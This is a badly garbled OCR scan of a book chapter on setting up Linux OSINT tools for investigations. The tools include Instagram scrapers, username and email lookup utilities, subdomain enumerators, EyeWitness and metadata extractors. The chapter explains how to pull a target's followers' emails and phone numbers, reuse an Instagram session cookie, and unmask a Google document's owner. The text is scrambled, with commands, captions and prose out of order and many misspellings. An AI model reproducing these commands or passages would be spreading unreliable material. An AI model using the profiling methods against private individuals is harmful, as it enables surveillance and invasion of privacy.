of these steps easily. Select Items from the In t below. Cancel CK Figure 4.06: A failure and success with online video stream capture. expect this option to work every time. However, it is 62 Chapter 4 Video Stream Tool vi.w/R.com O Display Liw Stream Record Live Stream Play and Record Live Stream Convert Stream to MP4 No video capture utility is perfect, and do not expect this option to work every time. However, it is one of the best options we have. If you investigate targets who stream live video, this is a tool you must possess at all times. Figure 4.05: The Video Stream Tool menu and progress. [error: No plugin can handle URL: https://ktla.con/on-air/ live-streaming/ ostntfosint:• :: ./streanlink.sh [clt][info] Found Hatching plugin his for URL https://dcs -live.apis.anvato.net/server/play/50ZGbepT8XD8SCRA/rendir ion.n3u8?track=video-28anvsid=il76161005-na06c5d31-18f9-4 292-b3a9-alef016b360e&ts=1684184596&anvtrid=w43aa5566a63b 07O2alOcdlaa9d769a8 [clt][info] Available streams: live (worst, best) [cli][info] Opening stream: live (his) i[clt][info] Starting player: /usr/bin/vlc This utility works well with most live and pre-recorded video streams within popular platforms such as Twitch and Vimeo. However, some sites cause errors. I prefer to use this tool in tandem with the Stream Detector extension previously mentioned. Let’s conduct a live demonstration. exit;; $opt4 ) zenity —info —text="The next window will prompt you for a target stream file." —title="Stream Converter" file=$(zenity —file-selection —title "Video Stream") ffmpeg -i $file -c copy -/Videos/stream.mp4 nautilus -/Videos/ exit;;esac After entering the live news video stream from KTLA at https://ktla.com/on-air/live-streaming into the Video Stream Tool, I was notified "No plugin can handle URL.". However, when I loaded this site within my custom Firefox build, I could see that the Stream Detector extension captured the M3U8 stream from this live broadcast. I clicked on the stream to copy the link and then re-opened the Video Stream Tool. 1 chose the option to Play and Record Live Stream" and entered this new URL. Strcamlink immediately began playing and archiving the video since I had provided the direct stream. Figure 4.06 displays these results. Notice the error when providing a generic URL (ktla.com), but a successful capture when entering the exact stream (anvato.net). Instagram Tool Linux Applications 63 cd -/Desktop instalooter user mikeb instaloader user mikeb sudo -H pip install instalooter sudo -H pip install instaloader sudo -H pip install toutatis Now that you have all programs installed, we can test them. Start with the following commands for Instaloader and Instalooter within Terminal. Please note this is not my account but serves as a good demonstration with minimal content. If you wanted to log in to your own Instagram account in order to see additional content which may be restricted otherwise, you could enter the following instead, replacing the content within brackets with your actual credentials. Instalooter should have downloaded several individual images to your Desktop, while Instaloader should have created a new folder titled mikeb on your Desktop containing the same images. Since these two programs save data in a unique way, our script will need unique options for each. The entire custom script is tided "instagram.sh" within the "vm-files" archive. In both of these options, all data wall be saved to folders containing the target username within the folder tides. These will be in the "instalooter" and "instaloader" folders in your "Documents" folder. Since we have already analyzed these types of scripts within the previous tutorials, I will no longer present them here within this chapter. You can open any of the scripts within your Linux VM by navigating to the Documents/Scripts folder and double-clicking each. Let's now^ focus on the techniques. There are several independent programs which assist with bulk-download of Instagram data. The first is Instalooter, which has been a staple within Buscador since the beginning. Since it occasionally stops working, pending an updated release, we also want Instaloader, Toutatis, and Osintgram available at all times. The results of each are very similar, bur it is good to have redundant options. Osintgram is the most powerful of all of them. First let's install the three basic Instagram programs into our VM. Osintgram requires a few additional steps which should be familiar to you now. The final step will prompt you for your Instagram username and password which is required for this application. It only needs to be supplied once during installation, and the application will store the credentials. Notice that the Pip command now includes "-1" at the end. This will be included with all Pip commands for the rest of the book. This tells Pip to ignore any previous installations of a dependency. This is required as many of the applications we will use are not updated often, errors about older versions of software may prevent complete installation. Once we are done, we will update all software to the latest versions. • cd -/Downloads/Programs • sudo apt install -y git • git clone https://github.com/Datalux/Osintgram.git • cd Osintgram • sudo apt-get install libncurses5-dev libffi-dev -y • sudo -H pip install -r requirements.txt -I • make setup cd -/Desktop instalooter login -u [username] -p [password] user mikeb instaloader —login [username] -p [password] user mikeb Figure 4.07: The Instagram Tool Dialogue Box. OK Cancel Cancel OK Cancel OK Figure 4.08: A series of prompts from the Instagram Tool. lay need to log 64 Chapter 4 * Instalooter * x Credentials Credentials • Open the Applications menu again and scroll down to "Instagram Tool". • Right-click this program and select "Add to favorites". © Instalooter (Without Login) Instaloader (Without Login) Instalooter (With Login) Instaloader (with Login) Toutatis OsintCram Photos OsintGram Stories OsintGram Comments O OsintGram Captions OsintGram Followers OsintGram Followers Emails OsintGram Followers Numbers OsintGram Following OsintGram Following Emails OsintGram Following Numbers OSINTGram Info Add Instagram Credentials Enter TARGET Instagram User ID n i Enter YOUR Instagram Username Il I Enter YOUR Instagram Password I'l I While writing this chapter, both Instalooter and Instaloader downloaded the target data without any modification. However, a second attempt with Instalooter failed. It required Instagram credentials in order to function again, likely due to blockage from our suspicious automated activity. Overall, you will experience much better results from both programs if you authenticate a valid Instagram account. Note that you mt, in again after a period of inactivity. Figure 4.07 displays the dialogue when executing die custom script previously downloaded. Figure 4.08 displays the dialogues presented when choosing the Instalooter (With Login) option. Notice that it demands your username and password for an Instagram account. The script populates these details in order to perform optimally- Your credentials are stored within your own VAI and never transmitted to any7 service aside from Instagram. The "instagram.sh" script should already be in the "scripts" folder in your "Documents" folder next to die others. The "instagram.dcsktop" file should be available in your Applications menu. Next, let's add a shortcut icon to our Dock in order to have easy access to this new utility. While these two applications may suffice for most needs without the requirement to log in to an active account, 1 have found that Instagram actively blocks this type of automated behavior. Furthermore, Instagram often delivers images with lower resolution when you are not logged in, while presenting higher quality media when an account is authorized. Therefore, we x\dll add two choices to our script which gives us options to log in to an active account before submitting our commands. toutatis -u mikeb -s 24316:Lh59ygrmY4N:4 The result is similar to the following, which I have partially redacted. • cd -/Downloads/Programs/Osintgram/ 65 Linux Applications captions mikeb followers mikeb Full Name: Mike Brandon | userID : 1144153003 Verified : False Is buisness Account : False Is private Account: False Follower: 70 Following : 31 Number of posts: 18 Number of tag in posts : 0 Obfuscated phone : +44 **** ****77 • Log in to an Instagram account from your Firefox browser. • Right-click an empty area of the page and choose "Inspect". • Click the "Network" tab in the new menu at the bottom. • Navigate to any user’s Instagram page. • In the Inspector menu, click on an entry similar to "200 GET www.instagram.com". • Click the "Cookies" tab in the Inspector menu to the right. • Scroll down this list and find "sessionid:". • Copy the alphanumeric entry. I find this information extremely valuable, and the process only takes a few seconds to complete. You could easily copy and paste these details into your report. Next, let's look at Osintgram. First, navigate to the software folder with the following command. Keep this Session ID somewhere which is easy to access. Since you previously installed the software, we can conduct a test with the following command for the target of "mikeb" and Session ID of24316:Lh59ygrmY4N:4. Next, let's discuss Toutalis. This application provides Instagram account details, often including full email addresses and partial telephone numbers. This extra level of disclosure requires a unique piece of information from our account. Each time you run the command, or use the automated script, you are required to enter your Instagram "Session ID". The following steps will identify this information. • python3 main.py -c photos mikeb • python3 main.py -c stories mikeb • python3 main.py -c comments mikeb • python3 main.py • python3 main.py • python3 main.py -c fwersemail mikeb • python3 main.py -c fwersnumber mikeb • python3 main.py -c followings mikeb • python3 main.py -c fwingsemail mikeb • python3 main.py -c fwingsnumber mikeb • python3 main.py -c info mikeb Next, we can conduct numerous types of queries on "mikeb". The following would display this user's photos, stories, comments, captions, followers, followers' email addresses, followers' telephone numbers, followings, followings' email addresses, followings' telephone numbers, and general account information. Gallery Tool • gallery-dl "parakeertle.tumblr.com" gallery-dl " https://boards.4channel.Org/g/" 66 Chapter 4 • sudo snap install gallery-dl • sudo snap connect gallery-dl:removable-media • cd -/Downloads • sudo apt install default-jre -y • wget https://github.com/ripmeapp/ripme/releases/latest/download/ripme.jar • chmod +x ripme.jar Let's conduct a demonstration. Assume that you have located a Tumblr blog at parakeettle.tumblr.com and you want to archive all of the images. The following command would download the data to the current folder. In the previous edition of this book, I presented complete steps to create a similar utility for Twitter using Twine As of this writing, that utility is no longer maintained due to changes at Twitter which blocked all functionality. By the time you read this, Instagram may be blocking these scripts. OSINT is a constant game of cat-and-mouse. Be sure to monitor my website files, blog, Twitter, or podcast to stay current with any changes. When these tools break for you, they break for me too. We are in this together. Next, you might want a graphical solution for your investigation when you encounter a situation which presents a large number of photos. I previously mentioned browser extensions which help automate this process, but they have limits. My preference is always the Gallery-DL, but it may not function on the site which you have targeted. We should always consider other automated options. I have had great success with RipMe (github.com/RipMeApp/ripme). This application requires Java to be installed on your machine. I refuse to install Java on any Windows or Mac host due to security’ concerns, as it adds an additional layer of vulnerability. However, I have no objection to installing it within a Linux virtual machine. Enter the following within Terminal. You now have four Instagram applications at your fingertips, and no requirement to manually use Terminal or typed commands. This utility’ attempts to extract media from a target's Instagram profile. While screen captures of an account through your browser may suffice for investigations, you should consider downloading images directly from the source when possible. Options including credentials will always perform better than without The result is all 235 images from the photo gallery’. This is a very’ valuable and efficient resource. Gallery-DL currently supports over 150 services including Tumblr, 4chan, Flickr, Imgur, Reddit, and numerous "adult websites. As a test, I submitted the following command to download 1,503 images from a 4chan board, which completed in three minutes. The "Gallery’ Tool" icon in your custom OSINT VM prompts y’ou for the target URL and executes the command for you. The automated script, visible previously in Figure 4.07, will automate this entire process; output the results in the appropriate locations in your Documents folder; and open the results upon completion. Note that the last option is to populate your Instagram credentials for use with Osintgram. This is beneficial in the event you created your OSINT VM with the single command explained in the next chapter, which does not add your username and password as we did during the manual installation. In my experience, the options to retrieve email addresses and telephone numbers can take a long time to run, and often fail to finish. 1 only use these options when my target has a small number of followers or following. I previously explained YouTube-DL as an all-in-one bulk online video download solution. Gallery-DL (github.com/mikf/gallery-dl) is a similar option for image collections. You can easily’ install this within Terminal by entering the following commands. Open ./Downlojds/ ..5C3rch_osint P Log 0 Configuration Cl Log 0 History — Queue- Figure 4.09: The RipMe application extracting bulk images from Reddit and Twitter. Uscmamc/Email Tool requirements.txt -I -/Documents/Report.csv python3 sherlock.py inteltechniques —csv Linux Applications 67 RlPM«Vl.747 mkdir -/Downloads/Programs cd -/Downloads/Programs git clone https://github.com/sherlock-project/sherlock.git cd sherlock sudo -H pip install hMBH URL.jht tptV/twIlt ez.com/icatdi ?q=otint&M[ 4* Rip L'Rl:|litt|it://www.reddlt.corn/f7OSIirT/ j Rip reddle album detected Pl Open /Downlo.ids/...lt_sub_OSIi IT £2 a Downloading https://i-rcdd.lt/2zuhnia6w97s01.png Downloading https://l-redd.it/lfj6tpajjsh2l.png Downloading https://i.redd.it/lbyps0zuh6g21.jpg __ □ The previous versions of this book provided an automated tool for a Python program called Sherlock. It queried a username and tried to identify online accounts which might be associated with the target. While Sherlock is still valuable, there are additional tools which assist with this type of query. I currendy rely on Sherlock, SocialScan, Holehe, WhatsMyName, and Email2Phone, all of which are explained here. Let's start with Sherlock. It is installed with the following commands. Downloading https://l.r edd.lt/cusxrocllhg3l.Jpg . ■ .’■■ fl ■ ' Downloading https:/Aredd.lt/15<jy3c4qch23l.jpg Downloading https://i-redd.it/gzjmqw2zr3231.jpg Downloading https://Lredd.it/brnj96l25ay21.jpg Downloading https://i-redd.il/gniniixvmyoit2i.jpg You can now double-click this file within Downloads to launch the program. Enter any target URL and click "Rip". Figure 4.09 (left) displays extraction of the OSINT Subreddit URL. The application downloaded all the images to the "rips" folder in my Downloads. Figure 4.09 (right) extracted all of the images from a search of "OSINT" on Twitter. This application supports image downloads from Imgur, Twitter, Tumblr, Instagram, Flickr, Photobucket, and Reddit. 0 Hisloiy ~ Queue Configuration Downloading hltp5://l.rcdd.lt/eusxraci1hg31.jpg j ' ,'i • n . • ‘ • Downloading https://Lrcdd.lt/15qy3e4qdi231.jpg Downloading hltps://l.redd.it/gzjmqw2£r3231.jpg ; : . . • I - - J ■ ■ Downloading https://).rcdd.lt/brnj96l2say21.jpg Downloading hltps://l.rcdd.it/gmniixvmyO1C21.jpg ...... Downloaded ■ • . Downloading https://Lredd.it/2zuhma6w97sO1. png ■ . . . ■ I Downloading https://Lredd.lt/ifj6tpajjsh2i.png Downloading httpsVArcdd.it/lbypsOzuh6g2ljpg . . >sPor We must now construct a proper execution of the command. We must be within the program folder in Terminal (~/Downloads/Programs/sherlock/sherlock) and launch Python 3 followed by the script. We must also specify the target username and any additional options. My command is as follows, with an explanation immediately after in parentheses. The script for these tools, titled "gallery.sh", and die desktop entry, tided "gallery.desktop", are in your "vm- files" download archive. 1 use these tools almost ever)' day. As I wrote this section, 1 was tasked with investigating a hidden locker room video which had surfaced on a porn site. Once 1 identified a suspect, I was able to download their entire image gallery in a few minutes by clicking the Gallery' Tool icon within myr finished OSINT VM, which we will rebuild in the next chapter. sudo -H pip install socialscan -I Within Terminal, you can now execute queries of usernames and email addresses as follows. registered • sudo -H pip install holehe -I The following command within Terminal queries an email address through all senrices. • holehe [email protected] requirements.txt -I We can submit a query with the following commands. 68 Chapter 4 Note that the version of Sherlock within the custom scripts exports a text file for easier viewing. Sherlock seems to occasionally display false positives, which is always an issue with these types of queries. Next, let's take a look at SocialScan. It can be installed with the following Terminal command. • cd -/Downloads/Programs/WhatsMyName • python3 web_accounts_list_checker .py -u inteltechniques • cd -/Downloads/Programs • git clone https://github.com/WebBreacher/WhatsMyName.git • cd WhatsMyName • sudo -H pip install python3 (Specifies Python version 3.x) sherlock.py (The Python script) inteltechniques (The target username) —csv (Creates a CSV spreadsheet file) -o -/Documents/Report.csv (Specifies save location and file name) • socialscan inteltechniques • socialscan [email protected] Finally, we have Email2Phone. This new tool queries an email address within various online senrices in an attempt to display any partial telephone numbers associated with the accounts. I rarely receive results here, but the occasional phone number identification justifies the efforts. The following installs the application. The results with these commands are presented directly on your screen. However, in the automated script, 1 chose to export the results directly to a text file within your Documents folder by adding > inteltechniques-WhatsMyName. txt to the end of the command. The on-screen results identify online accounts which appear to be associated writh the email address. Highlighting these allows for easy copy and paste into a report. I no longer export these as a text file because the results are difficult to read. Next, we have WhatsMyName. It is the most thorough of all options, but takes the most time to process. I also typically see numerous false positives. We can install the software with the following commands. It currendy only queries a few senrices, but the on-screen results are reliable. The first query above confirmed that 1 have accounts on GitHub, Reddit, Snapchat, and Twitter. Next, we have Holehe. This program is more robust than the previous options. It queries dozens of senrices using several identification strategies such as registered users and password recover}’ prompts. Installation is completed writh the following command. requirements.txt -I The following command searches [email protected]. • python3 emai!2phonenumber.py scrape -e [email protected] OK Figure 4.10: The Username Tool options. Sherlock results for my own username were as follows. SocialScan results for my own username were as follows. EycWitness Linux Applications 69 GitHub Reddit Snapchat Twitter [*] Checking username inteltechniques on: [+] EyeEm: https://www.eyeem.eom/u/inteltechniques [+] Facebook: https://www.facebook.com/inteltechniques [+] GitHub: https://www.github.com/inteltechniques [ + ] Gravatar: http://en.gravarar.com/inteltechniques [+] Kik: https://kik.me/inteltechniques [ + ) Reddit: https://www.reddit.com/user/inteltechniques [+] Tinder: https://www.gotinder.eom/@inteltechniques [ + ] Twitter: https://mobile.twitter.com/inteltechniques [+] Wattpad: https://www.wattpad.com/user/inteltechniques [+] WordPress: https://inteltechniques.wordpress.com/ • cd -/Downloads/Programs • git clone https://github.com/martinvigo/email2phonenumber.git • cd email2phonenumber • sudo -H pip install @ Sherlock C SocialScan O Holehe C WhatsMyName O EmailZPhone Enter Username H Cancel This Python script automates the collection of screen captures from websites. Imagine the following scenario. You are investigating a long list of website addresses that was provided to you as a lead. Maybe they were websites visited from a suspect's computer; a list of social network profiles discovered during your previous Twitter scrapes; or just a self-created list of URLs associated to your investigation. Manually visiting each site and using a screen capture tool can be overwhelming. Instead, let's automate the task. Install EyeWitness to your VM with the following commands within a new instance of Terminal. The Username/Email script for your OSINT VM is titled "usertool.sh" within your downloads and is already configured to execute each of these options automatically. You should have it present within your "scripts" folder within "Documents". This script presents all options upon launch, as seen in Figure 4.10 (left). Selecting your desired choice presents a username or email address input box, as seen in Figure 4.10 (right). The script then executes the proper commands mentioned here and exports the results to your Documents folder. "sites.txt". 70 Chapter 4 • Open the Applications menu again and scroll down to "EyeWitness". • Right-click this program and select "Add to favorites1’. In these steps, we entered the new folder you created during the installation of the Username Tool (Programs). This will be where we store applications which do not traditionally install into your operating system. You can now execute EyeWitness, but you must first navigate to the folder where the PyThon script is located. We will correct this with a custom script in a moment, but let's test the application within Terminal. Conduct the following. • cd -/Downloads/Programs • git clone https://github.com/ChrisTruncer/EyeWitness.git • cd EyeWitness/Python/setup • sudo -H ./setup.sh When finished, you should have a new file within your Documents/EyeWitness folder titled Report.html. Double-clicking this file opens it within Firefox. Figure 4.11 displays the first two results from my "sites.txt" file which contained exacdy the following data. • Open your Applications menu and launch Text Editor. • Type or paste URLs, one per line, and save the file to your Desktop as • Open Terminal and enter the following commands. • cd -/Downloads/Programs/EyeWitness/Python • ./Eyewitness.py -f ~/Desktop/sites.txt —web -d -*/Documents/EyeWitness/ https://inteltechniques.com https://computercrimeinfo.com https://instagram.com/mikeb This utility can be very’ beneficial when you have dozens, hundreds, or even thousands of domains of interest. I once convened a list of over 300 suspect Twitter accounts into a folder of screen captures of each. This allow ed me to quickly identify which accounts were truly valuable to my investigation by simply viewing the evidence similar to photos in an album. The report w»as several hundred pages but was generated in only a few minutes. Next, let's add a shortcut icon to our Dock in order to have easy access to this new utility. The results include screen captures of each target website and detailed information including the server IP address, page title, modification date, and full source code of the page. This is very beneficial in two ways. First, it automates the task of researching multiple target websites. Second, it saves each page as it existed at a specific moment in time. If your suspect deletes or modifies a website after you have captured it, you possess evidence of a previous state. The annoyances of this method include the requirement to create a text file and need to articulate the location of the data within Terminal. We can make this easier with a custom script. The script on the following page will prompt you to choose between a single URL or multiple URLs. If you choose single, it will prompt you for the URL and then it will execute EyeWitness. The report will be saved into a new’ folder tided with a current timestamp within the Documents/EyeWitness folder. At the end of the process you will be asked if you would like to open the report. If you choose the option for multiple URLs, you will be prompted to choose the text file containing all of the target addresses. EyeWitness will then conduct the queries and generate the report as described in the single URL option. The script and shortcut file are included within the "vm-files" archive mentioned previously, tided eyewitness.sh and eyevvimess.desktop. COMPUTERCRIMEIn FO 0 N«w Prtvicy Gu-rte UTMUf I’MVAU’o Figure 4.11: A partial EyeWitness report. Domain Utilities requirements.txt -I sudo -H pip install requirements.txt -I Linux Applications 71 n Int el Tec hniq ues rczxtrrr: r.rirr.'i; cmr '-r^r r r.-. ? CSHTTM*OC nMCt(x»euL‘>K aaBX-SKtwT. ■•nfoconi 1.114 254 •/.■comrutpraimr • jived to: 193.54.: cd -/Downloads/Programs sudo snap install amass git clone https://github.com/aboul31a/Sublist3r.git cd Sublist3r sudo -H pip install -r requirements.txt -I cd -/Downloads/Programs git clone https://github.com/s0md3v/Photon.git cd Photon o;>.' >•-■x.'C-'. «• -• iciMut nuvXT Later chapters will explain manual techniques for analysis of a domain. We can automate much of that work with various scripts and programs. First, let’s gather all of the required software with the following commands within a new instance of Terminal. sudo -H python3 -m pip install cd -/Downloads/Programs git clone https://github.com/laramies/theHarvester.git cd theHarvester sudo -H pip install -r requirements.txt -I sudo -H pip install testresources -I sudo -H pip install pipenv -I sudo -H pip install webscreenshot -I cd -/Downloads/Programs git clone https://github.com/Lazza/Carbonl4 cd Carbonl4 Pago Title: Computer Cnrne presentations and Training by Michael Bazzetf {content-length: 7231 accepuangcs: pytes vary: Accept-Encod ng server Apache last-modified: Fn.09 Auq 2019 19 46:13 GMT connection: close date: Sun. 01 Sep 2019 22:05:10 GMT Response Code: 200 content-type: texthert r L'.’p . :iZ : '-;i--./.o-u Resolved to: 19854 114 254 Pago Title: IntelTecnnlques com | OSIMT Privacy Services by Michael Bazzdi | Op?n Source Intelligence content-length: 7529 jx-xss-prctcctkin: 1; mode-b'ocic x-content-cype-options: nosnif! acccpt-ranges: tr,t<-“. strict-transpon-sccunty: ma*- ;i(je=3153&QOO, indudeSubOomoms. preload vary: Accfpt-Encodmg server: Apache last-modified: Fri.O2 Aug 2019 21S352 I GMT connection: dose date: Sun. 01 Sep 2019 22 05 07 GMT Response Code: 200 access-control-allow-oiigin:' ' content-typo: terthtml X-trame-options: SAMEORIG1N ' Figure 4.12 (left) displays the dialogue selection box while Figure 4.12 (right) displays a search in progress. Figure 4.12: The Domain Tool selection window and progress. 72 Chapter 4 • Open the Applications menu again and scroll down to "Domain Tool". • Right-click this program and select "Add to favorites". footballclub.cnn.com cdition.cnn.com fave.edition.cnn.com © Amass Sublist3r Photon TheHarvester Carbon14 and then fetch subdomains name. The following explains • amass intel -whois -ip -sre -active -d inteltechniques.com • amass enum -sre -ip -passive -d intelcechniques.com • python3 sublist3r.py -d inteltechniques.com • python3 photon.py -u inteltechniques.com -1 3 -t 100 • python3 theHarvester .py -d inteltechniques.com -b bing, google • python3 carbonl4.py https://inteltechniques.com Ing Rtddler for tnteltechniques.con subdomains mg CoogleCT for inteltechniques.co* subdonatns tnteltechnlques.com autodtscover.inteltechniques.com webnail.inteltechniques.con www.inteltechniques.con cpanel.inteltechniques.con |k_ ftp.inteltechniques.com terylng ftaptdOKS for inteltechniques.con subdomains You should now have new folders within a folder titled "Programs" inside your "Downloads" folder. These folders contain the Python scripts necessary to launch the programs. Next, let's take a look at the manual commands required to execute each program. I will use my own website during the demonstrations. You would need to execute each script from within die proper folder containing the Python files. However, our custom script allows us to use a menu without the need for Terminal commands. This is included in the download as "domains.sh". Amass: This option takes the longest to run, but it is the most thorough. It uses a brute force option which attempts to determine any possible subdomains. It creates two reports, both of which will be located in the Documents/Amass folder. In my test with cnn.com, it found 282 subdomains, such as the following. Sublist3r: This program scans much faster but will only find common subdomains. This may be sufficient for most tasks. It creates a report located in the Documents/Sublist3r folder. In my test, it found 808 subdomains of cnn.com such as the following. In a later chapter, I explain investigative techniques for domain names, and the importance of searching for subdomains. A subdomain is a dedicated address that is part of a larger domain, such as pics.inteltechniques.com. While intekechniqucs.com might be a main landing page, pics.inteltechniques.com could possess hidden content not available within the main website. Querytf Oueryli [DNS] [Brute Forcing] [Brute Forcing] [Robter] [virusTotal] [Brute Forcing] * The automated script which automates all of these tasks and commands is included in vour digital downloads, tided "domains.sh" within the "scripts" folder. It should be present within your Linux VM as long as you downloaded the files as previously explained. We will also run through all of the commands again in the nest chapter. Next, let's add a shortcut icon to our Dock in order to have easy access to this new utility’. Programs within this script, such as Amass and Sublist3r, request a domain name associated with the target. This is a vital step for any investigation into a domain each utility in this new menu, including the results for a rest query of cnn.com. LibreOffice sudo snap install libreoffice Linux /Applications 73 cnn.com/webview cnn.com/NOKIA cnn.com/Quickcast trends.cnn.com tours.cnn.com coupons.cnn.com Personally, I do not like typing my reports from within a VM. I prefer to launch my desired word processor within my host operating system. This creates a small layer of protection between the OS which you are using during your "covert" investigation (VM), and the machine which is documenting the written report (host). This is all personal preference, and you may choose another route. Much later in the book, you will learn several documentation strategies for your next online investigation. LibreOffice is a free and open source office suite, comprised of programs for word processing (Writer), the creation and editing of spreadsheets (Math), and PowerPoint (Impress). The Writer program can be used within your Linux VM for creating reports while die Math program can be useful with opening CSV files created by the previous utilities. Your installation of Ubuntu should already have this productivity suite installed. If not, you can add the package with the following Terminal command. TheHarvester: This program searches a supplied domain with the intent of providing email addresses associated to the target. It creates a report located in the Documents/theHarvester folder. During my search of cnn.com, it located 72 hosts and 16 email addresses. Further investigation into these results may reveal new sources of information. In each of these scenarios, you are greeted with text files containing numerous URLs. If desired, you could submit each to EyeWitness. This would create a new report with screen captures from any valid addresses. This allows for a quick review of the evidence to see if anything warrants further investigation. We have now made it through the difficult section of this chapter. The remaining programs have standard launch options and do not require custom scripts to make them user friendly. These are all similar to their equivalents within other traditional operating systems. We will replicate all of this within Mac and Windows in Chapter Six. Photon: This option docs not attempt to find subdomains. Instead, it searches for internal pages within a target website. It creates a report located in the Documents/Photon folder. Examples include the following. Carbonl4: This application helped an investigation as I was writing this. I was investigating an anonymous blog, with the intent of learning more about the age of the site. It was a brand-new WordPress installation, and every' post had the same recent 2019 date and time. It had obviously been created recently, but then received an import from an older blog. I wanted to know more about the true dates of the original posts. This is the perfect scenario for Carbon 14. It searches for any images hosted within the page and analyzes the metadata for creation dates. A query' of my own site indicates that the static page was last modified on August 2, 2019, and the images were posted in March 2018, May 2019, and July 2019. If this were my target, I would now have suspicion that the original blog posts were from an earlier date. These dates can be intentionally or unintentionally altered, so this is not a forensically sound method. It is simply an additional piece to the puzzle which may warrant further investigation. 1 find that Carbon 14 works best on static websites and blogs. I have also had surprising success when targeting social network profiles. Tor Browser Chrome Browser Metadata-Medialnfo sudo apt install -y mediainfo-gui Figure 4.13: A Mediainfo result. 74 Chapter 4 sudo add-apt-repository -y ppa:micahflee/ppa sudo apt -y update sudo apt install -y torbrowser-launcher • wget https://dl.google.com/linux/direct/google-chrome- stable_current_amd64.deb • sudo apt install -y ./google-chrome-stable_current_amd64 .deb • rm google-chrome-stable_current_amd64 .deb : HPEG-4 : QuickTime : 545 KiB : 5 s 488 ms : 813 kb/s : 2013-05-30110:51:14+0180 : Apple : +55.4062-002.6372+123.982/ : iPhone 5 This is a utility for displaying hidden metadata within a media file. The most common example is the metadata within a video obtained directly from the original source. First, open Terminal and type the following to install the application within the Applications menu of Ubuntu. This application was mentioned briefly in the previous chapter and will be required for some of the tutorials discussed later in the book. Execute the following commands within Terminal, then launch "Tor Browser" from the Applications menu to complete the installation. Chrome was also mentioned in the previous chapter. While I avoid usage for personal tasks due to privacy concerns, it can be quite valuable in our Linux VM for OSINT investigations. The following commands within Terminal will install the program and remove the unnecessary installation file. You can now click on the Mediainfo icon in the Applications menu to launch the program. Click on the File option in the menu and then open either a file or folder. The default view offers little data, so click on View and then "Text" from the menu. This presents all metadata available within the file. In my test, I received the (partial) output visible in Figure 4.13 from a video sent to me via email direcdy from a mobile device. It identified the make, model, and operating system version of the device, along with GPS information about the location during capture. Note that this type of data is usually not available from videos downloaded from the internet The ideal scenario is that you possess a video file sent directly from a device. Format Format profile File size Duration Overall bit rate Recorded date Hake xyz Model com.apple.quicktine.software While I do not use the Tor and Chrome browsers daily, they are important to have available and take up vet)' little space. There are some browser extensions which only support Chrome and many websites which can only be accessed through Tor. I will explain more about that later. Metadata-Exiftool • sudo apt install -y libimage-exiftool-perl cd -/Deskrop/Evidence && exiftool * -csv > -/Desktop/Report.csv Metadata-mat2 sudo apt install -y mat2 • mat2 dirty.jpg Metadata-xeuledoc sudo -H pip install xeuledoc -I Linux /Vpplications 75 This command launches ExifTool (exiftool); reads all files in the current folder (*); specifies creation of a CSV file (-csv); and saves the file output to the Desktop tided as Report.csv (> ~/Desktop/Report.csv). I do not use this feature often, but it has saved me a lot of work when needed. 1 once possessed a folder of 200 images retrieved from a directory on my target's blog. This command created a spreadsheet with all metadata from the images, which identified GPS locations valuable to the investigation. You can now export the metadata from multiple images into a spreadsheet Consider the following example where I possess a folder of images on my Desktop tided "Evidence". I want a spreadsheet of all available Exif data in reference to these images. The following command in Terminal will create a report on my Desktop tided Report.csv. This application extracts metadata hidden within Google Documents, including the documents owner's name, email address, and Google identifiers. This is a great way to determine who is behind an online Google document which is part of your investigation. The following command installs the program. If we launched the automated script included within your downloads, we would be prompted with a selection dialogue box similar to the option presented with the video tools. Selecting a file would launch the mat2 process and generate the clean image within the same folder as the original. This tool will never overwrite your original, file. Image metadata, also called Exif data, will be explained later in more detail. It can include the make, model, and serial number of a camera or location data of the capture. Third-party applications to view this data are no longer necessary because Ubuntu has this feature embedded in the default image viewer. Simply open any image, click the three horizonal lines in the upper right menu, and select Properties. The Metadata and Details tabs display all available details such as camera information, location, and dates. However, this does not help much in regard to bulk images. We can easily install a Terminal-based utility which allows for automated export called ExifTooL The following command in Terminal will complete the process. While you may want to VIEW metadata within images with the previous command, it is just as likely you will want to REMOVE data from your own media. Maybe you want to upload an image as part of a covert investigation. That image could have metadata such as dates, times, locations, and camera details. This is where MAT2 (Metadata Anonymisation Toolkit 2) can assist. First, we must install it with the following. Next, we can issue a command to clean a file. Assume I have an image on my Desktop titled dirty.jpg. The following commands within Terminal would change to the Desktop directory and create a new file called "dirty.cleaned.jpg". The result appears below. Document ID : !KXksBlvj7fXPNS4OYL0idQne3HXVnamtUPlh0ut3xwk Metadata-Shcrloq ou can now launch this application manually with the following command within Terminal. • python3 -/Downloads/Programs/sherloq/gui/sherloq.py 76 Chapter 4 [+] Creation date : 2020/01/08 16:35:56 (UTC) (+] Last edit date : 2020/01/08 16:35:56 (UTC) Public permissions :- reader [+] Owner found ! • cd -/Downloads/Programs • sudo apt install subversion -y • git clone https://github.com/GuidoBartoli/sherloq.git • cd sherloq/gui • sudo -H pip install -r requirements.txt -I • sudo -H pip install matplotlib Name : donlad grifith Email : [email protected] Google ID : 09765685956674862946 xeuledoc https://docs.google.eom/spreadsheets/d/lKXksBlvj7fXPNS4OYL0idQne3HXVnamtUPlh0ut3xwk We can now execute the application manually toward a Google document. Consider the spreadsheet located at https://docs.google.eom/spreadsheets/d/lkxksBlvj7fXPNS4OYL0idQne3HXVnamtUPlh0ut3xwk. This page provides a link to a third-part}’ piracy website claiming to offer one of my books for download. There is nothing within this spreadsheet which identifies the creator of this document. However, xeuledoc can assist The following command queries the tool with the document link. Sherloq is a standalone application which can help identify modified areas of photographs. The a 'an capabilities to alter images within Photoshop can easily fool our eyes. Computers are more difficult to con Let's install the application first, then discuss the usage. Conduct the following within Terminal. We now have a name and email address to research. Tire automated script for this tool is part of "metadata-sh'1 and is included in your downloads. Consider the image visible in Figure 4.14. The upper-right image displays the "Principal Component An ysis which highlights the lips of the subjects for potential digital manipulation. If you investigate online images o ten, I encourage you to understand all of the options available within this software application. The author s we site atgithub.com/GuidoBartoli/sherloq and the tutorials provided in Chapter 21 should assist. Sherloq replicates many of the image metadata and manipulation detection methods which are explained later in the book. The benefit here is the ability to conduct an examination offline. If you have a sensitive photo, you may not want to upload it into one of the online metadata websites which is explained later. Instead, you may want to keep it restricted to your local machine. Click the "Load Image" button and select a photo. There are numerous options present within the left menu, most of which will be explained within the Images chapter (21). Figure 4.14: A Sherloq image analysis. HTTrack (httrack.com) sudo apt install -y webhttrack Some tools Linux Applications 77 sudo apt update sudo apt install -y libcanberra-gtk-module remaining in this chapter require a small package for sound, which is installed with the following. You can now type webhttrack at any Terminal prompt and the software will execute. You should also have the "httrack.desktop" file available in 